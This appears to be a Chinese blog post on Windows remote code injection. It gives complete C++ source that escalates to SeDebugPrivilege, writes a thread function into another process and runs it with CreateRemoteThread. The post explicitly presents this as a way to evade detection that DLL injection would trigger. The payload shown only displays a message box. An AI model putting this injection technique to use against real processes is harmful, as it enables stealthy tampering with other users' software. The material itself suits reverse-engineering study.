远程代码注入

TIPS
1.
之前写进程隐藏的时候写了个dll注入工具,这个工具会想目标进程写入dll名称,然后利用loadlirary加载dll。如何让那个程序调用loadlirary的呢?是用了CreateRemoteThread这个函数,翻译过来就是创建远程线程,为什么微软要提供一个这样的函数呢?其实并不是微软特地提供的给我们注入的API,这个API的实际作用其实是创建远程线程,创建的线程原型是DWORD WINAPI ThreadProc(LPVOID lparam),只有一个参数,且参数是指向任意内容的指针,而loadlirary函数的原型是HMODULE WINAPI LoadLibrary( LPCTSTR lpFileName),可以看出来他们两个非常接近,都是1个参数,那个参数都是指针,所以这个函数就被开发为注入dll的API,且不会出错,符合语法,但是运行的线程函数被替换为LoadLibrary函数,然后运行线程=加载dll,随后dllmain里面运行各种代码。
2.
但其实这种方式不够隐蔽,因为你在程序中加载了DLL,这么大的动静被检测的几率就会很大,而且你既然有dll实体那么被云端响应的速度也会很快,换句话说,这种注入dll的方式很容易被拦截
3.
其实我们可以利用CreateRemoteThread函数的原本的功能,即直接运行ThreadProc,而这个ThreadProc函数的代码通过WriteProcessMemory的方式写入,函数的参数lparam所指向的内容也采用同样的方式写入即可,这样调用CreateRemoteThread就会直接运行我们写入的ThreadProc函数
4.
在ThreadProc函数中调用API的时候我们不确定我们注入的程序有没有加载含有这个API的DLL,所以我们一般需要调用什么API都要给他加入LoadLibrary,去加载这个api的dll
5.
逆向工程核心原理中的ThreadProc有LoadLibrary加上调用GetprocAddress之后再动态调用MessageBoxA这一步,感觉又复杂又没啥必要,直接给他传入MessageBoxA的地址即可,经测试没有问题
6.
调用重要API的时候有一个参数需要知道ThreadProc整个函数的大小,这里巧妙地使用(DWORD)ThreadProc-(DWORD)Code_Inject计算得到,可以想象一下,这两个函数是紧挨着的,且编写的时候ThreadProc在Code_Inject后面,是不是这样就能得到ThreadProc的大小了?如果还是不知道的话调试一下即可

CodeInject.h

#include "windows.h"
#include <iostream>
using namespace std;


//*******************************Params定义*****************************************
typedef struct _THREAD_PARAM{
    FARPROC pFunc[2];
    char szbuf[2][128];
}THREAD_PARAM,*PTHREAD_PARAM;


//*******************************Windows API定义*****************************************
typedef HMODULE (WINAPI *PFLOADLIBRARY)(LPCSTR lpLibFileName);   //LoadLibrary()

typedef int (WINAPI *PFMESSAGEBOXA)(HWND hwnd,LPCSTR lptext,LPCSTR lpcaption,UINT utype);   //MessageBoxA()

DWORD WINAPI ThreadProc(LPVOID lparam);       //injected-thread

BOOL EnableDebugPrivilege();       //提权函数

void Code_Inject();                //代码注入函数

CodeInject.cpp

#include "CodeInject.h"


DWORD Inject_Pid=0;
THREAD_PARAM param={0,};

int main(){
    cout<<"plz input pid you want to inject"<<endl;
    cin>>Inject_Pid;
    LoadLibraryA("user32.dll");
    //****************************设置Params参数*********************************
    HMODULE hmod1=GetModuleHandleA("kernel32.dll");
    HMODULE hmod2=GetModuleHandleA("user32.dll");
    param.pFunc[0]=GetProcAddress(hmod1,"LoadLibraryA");  //确保user32.dll已加载
    param.pFunc[1]=GetProcAddress(hmod2,"MessageBoxA");   //调用MessageBoxA
    strcpy_s(param.szbuf[0],"user32.dll");                //LoadLibraryA的参数
    strcpy_s(param.szbuf[1],"Injected");                  //MessageBoxA的参数
    //****************************设置Params完成*********************************

    Code_Inject();

    return 0;
}


void Code_Inject(){
    if(!EnableDebugPrivilege()){                                               //提权
        cout<<"EnableDebugPrivilege Failed";
        system("pause");
        return;
    }
    HANDLE hprocess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,Inject_Pid);           //获取进程句柄
    LPVOID param_address=VirtualAllocEx(hprocess,NULL,sizeof(THREAD_PARAM),MEM_COMMIT,PAGE_READWRITE);     //申请存放param的空间
    LPVOID ThreadProc_address=VirtualAllocEx(hprocess,NULL,(DWORD)ThreadProc-(DWORD)Code_Inject,MEM_COMMIT,PAGE_READWRITE);//申请存放ThreadProc的空间,ThreadProc大小通过Code_Inject-ThreadProc取得(注意这里不能为负数?)
    WriteProcessMemory(hprocess,param_address,(LPVOID)&param,sizeof(THREAD_PARAM),NULL);     //写入param
    WriteProcessMemory(hprocess,ThreadProc_address,(LPVOID)ThreadProc,(DWORD)ThreadProc-(DWORD)Code_Inject,NULL);     //写入ThreadProc
    HANDLE hthread=CreateRemoteThread(hprocess,NULL,0,(LPTHREAD_START_ROUTINE)ThreadProc_address,param_address,0,NULL);   //创建ThreadProc线程
    WaitForSingleObject(hthread,INFINITE);
    CloseHandle(hthread);
    CloseHandle(hprocess);
}
DWORD WINAPI ThreadProc(LPVOID lparam){
    PTHREAD_PARAM pParam=(PTHREAD_PARAM)lparam;
    ((PFLOADLIBRARY)pParam->pFunc[0])(pParam->szbuf[0]);  //LoadLibraryA("user32.dll")
    ((PFMESSAGEBOXA)pParam->pFunc[1])(NULL,pParam->szbuf[1],pParam->szbuf[1],NULL);  //MessageBoxA(NULL,"Injected","Injected",NULL);
    return 0;
}

BOOL EnableDebugPrivilege(){
    HANDLE hToken;
    BOOL fOk=FALSE;
    if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken)){ //Get Token
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount=1;
        if(!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid))//Get Luid
            cout<<"Can't lookup privilege value"<<endl;
        tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;//这一句很关键,修改其属性为SE_PRIVILEGE_ENABLED
        if(!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL))//Adjust Token
            cout<<"Can't adjust privilege value"<<endl;
        fOk=(GetLastError()==ERROR_SUCCESS);
        CloseHandle(hToken);
        hToken=NULL;
    }
    return fOk;
}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值